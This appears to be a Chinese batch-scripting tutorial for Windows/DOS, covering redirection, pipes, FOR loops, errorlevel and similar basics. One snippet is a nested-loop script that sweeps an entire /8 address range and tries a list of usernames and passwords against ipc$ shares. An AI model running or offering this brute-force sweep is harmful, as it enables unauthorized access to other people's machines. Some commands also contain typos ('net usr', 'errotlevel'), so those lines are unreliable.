ping www.google.com > search.txt ping www.baidu.com >> search.txt exit >会清除掉原有文件中的内容后把新的内容写入原文件,而>>只会另起一行追加新的内容到原文件中,而不会改动其中的原有内容。 --------------------------------------- rem [a.bat] code: @echo off if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif a.bat 监视是否有广告图片,有就删除 --------------------------------------- @echo off netstat -a -n > a.txt type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!" del a.txt pause & exit 利用netstat命令,检查所有的网络端口状态,查找某一个端口是否使用,输出结果。通常用来判断是否中木马 --------------------------------------- echo nbtstat -A 192.168.0.1 > a.bat echo nbtstat -A 192.168.0.2 >> a.bat echo nbtstat -A 192.168.0.3 >> a.bat echo 输出文本到 a.bat,a.bat就是一个批处理文件 --------------------------------------- @echo off goto end help | more :end 首行的@命令和echo off命令联合起来,达到了两个目的:不显示echo off命令本身,不显示以后各行中的命令本身。 goto 和 : 组合,提前结束程序 --------------------------------------- masm %1.asm if errorlevel 1 pause & edit %1.asm link %1.obj masm %1.asm if not errorlevel 1 link %1.obj pause & edit %1.asm masm %1.asm if exist %1.obj link %1.obj else pause & edit %1.asm 上面三块都是等效的写法,注意使用 errorlevel 时 else 并没有出现 --------------------------------------- 常用组合命令和管道命令 | ,就是把前一命令的输出当后一命令的输入来用的 < ,输入重定向命令,从文件中读入命令输入,而不是从键盘中读入。 >&,将一个句柄的输出写入到另一个句柄的输入中。 <&,刚好和>&相反,从一个句柄读取输入并将其写入到另一个句柄输出中。 & ,用来连接n个DOS命令,并把这些命令按顺序执行,而不管是否有命令执行失败 --------------------------------------- ^ 是对特殊符号 > 、<、 &、的前导字符。 在命令中他将以上的3个符号的特殊动能去掉仅仅只把他们当成符号而不使用他们的特殊意义。 --------------------------------------- ,符号相当于空格 c:\>dir,c:\ --------------------------------------- ;符号当命令相同的时候可以将不同的目标用;隔离开来但执行效果不变。 如执行过程中发生错误则只返回错误报告但程序还是会继续执行。 DIR C:\;D:\;E:\F:\ 以上的命令相当于 DIR C:\ DIR D:\ DIR E:\ DIR F:\ --------------------------------------- dir c:\ > a.txt && dir d:\ >> a.txt 把C盘和D盘的文件和文件夹列出到a.txt文件中 --------------------------------------- netstat -n | find "3389" 这个将要列出所有连接3389的用户的ip. --------------------------------------- FOR /F "usebackq delims==" %%i IN (`set`) DO @echo %%i rem 会枚举当前环境中的环境变量名称 在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable --------------------------------------- 删除文件1.TXT 2.TXT 3.TXT 4.TXT 5.TXT 例: ECHO OFF FOR /L %%F IN (1,1,5) DO DEL %%F.TXT 或 FOR %%F IN (1,2,3,4,5) DO DEL %%F.TXT --------------------------------------- for /l %%a in (0,1,255) do for /l %%b in (0,1,255) do for /l %%c in (1,1,254) do for /f "tokens=1,2*" %%e in (userpass.txt) do net use \\%1.%%a.%%b.%%c\ipc$ %%e /u:%%f 上面的命令为1条命令。大家可以看出该命令使用了4个FOR来套用的。用法为:C:\>TEST.BAT 218 当输入218回车后该命令会由第1个for取初始值0为%%a然后继续取第2个for的初始值0为%%b继续取第3个for的初始值1为%%c最后一个for是将userpass.txt中的第一段字符作为密码%%e第二段字符作为用户名%%f最后执行命令 (这里我把上面的值都带进去,设密码为123 用户名为 abc) net usr \\218.0.0.1\ipc$ 123 /u:abc --------------------------------------- @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag (应先判断数值最高的错误码) if errorlevel 2 goto mem if errotlevel 1 goto end :defrag c:\dos\defrag goto end :mem mem goto end :end echo good bye